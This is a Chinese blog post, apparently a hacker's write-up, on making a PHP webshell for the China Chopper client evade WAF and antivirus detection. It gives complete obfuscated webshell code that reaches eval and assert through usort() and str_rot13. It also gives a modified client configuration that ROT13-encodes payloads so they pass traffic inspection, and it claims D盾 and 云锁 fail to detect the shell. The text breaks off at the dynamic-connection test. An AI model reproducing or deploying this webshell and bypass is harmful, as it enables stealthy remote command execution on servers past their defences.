技术分析流程:

之前遇到一个任务,可以传任意文件到服务器上,但是菜刀连接一句话木马的时候遇到了waf,什么功能都不能用了,于是之后便花时间研究了菜刀连接木马绕过waf的检测。研究中有两个地方是需要考虑的,一是木马放在服务器端会接受waf的静态文件检测,二是动态连接中waf会动态检测传输数据包。所以我们需要修改的就要是两个地方:服务端代码和连接客户端。
直接点,下面是服务端代码(木马文件的代码):

1
2
3
4
5
6
7
<?php 
define("bigDiao","al");
$cmd=$_POST['k'];
$str1_len=strpos($cmd,"('");
$str1=substr($cmd,0,$str1_len);
$str1=str_rot13($str1);
$str2=strstr($cmd,"('");$cmd1=$str1.$str2;$cmd2="@ev".constant("bigDiao").'('.$cmd1.')';$array1=array(1,2,3,$cmd2);$a=usort($array1,"ass"."ert");?>

这个代码主要利用到了php中usort()函数,该函数是使用用户自定义的比较函数对数组中的元素进行排序,利用了usort()方法能引入自定义的函数这个特性来达到我们最终需要引入恶意执行方法的目的,另外还配合客户端我写的规则做了一些字符处理,关于客户端的规则我下面会说。我测试过了,usort()这个方法目前应该还不被任何waf作为检测规则。下面是各种waf的静态检测结果。

0x01静态检测木马文件:
在检测过程中我们将采用经常使用的D盾webshell查杀软件,云锁等安全软件进行查杀测试(因为各种条件原因,在下只能拿到这两个安全软件进行研究,希望各位大大见谅),这里只做技术性问题讨论,各款安全软件性能不做评价。
1.D盾静态检测,检测中无法检测出该木马后门:

2.云锁静态检测就更不用说了(云锁有静态文件检测???不存在的!):

0x02动态连接执行shell命令:
这里测试绕过动态连接,就需要客户端的连接数据包不被waf识别出来,这里我们可以修改客户端(菜刀)的配置文件,配合服务端的字符处理,构造出不被waf识别的请求数据包。这里我把我修改后的菜刀客户端的配置文件贴出来,找到配置文件中的PHP_BASE修改该字段,配置文件中可看到也没做太多改动,大致就只是做了rot13的转码而已:

1
2
3
4
5
//PHP_BASE参数:%s
//payload str_rot13转码;
<PHP_BASE>
neenl_znc("nff"."reg",neenl("ri"."Ny(\"\\\$kk=\\\"On"."FR6"."4_qRp"."BqR\\\";@ri"."ny(\\\$kk('%s'));\");"))
</PHP_BASE>

原本菜刀的配置文件如下:

1
2
3
4
//PHP_BASE参数:%s
<PHP_BASE>
array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));
</PHP_BASE>

修改好菜刀的配置文件后,我们开始动态连接测试,我这里说明一下,服务器的waf的防护功能都是开启状态:
1.云锁(192.168.99.162)的动态连接:

具体请求数据包:

执行系统命令: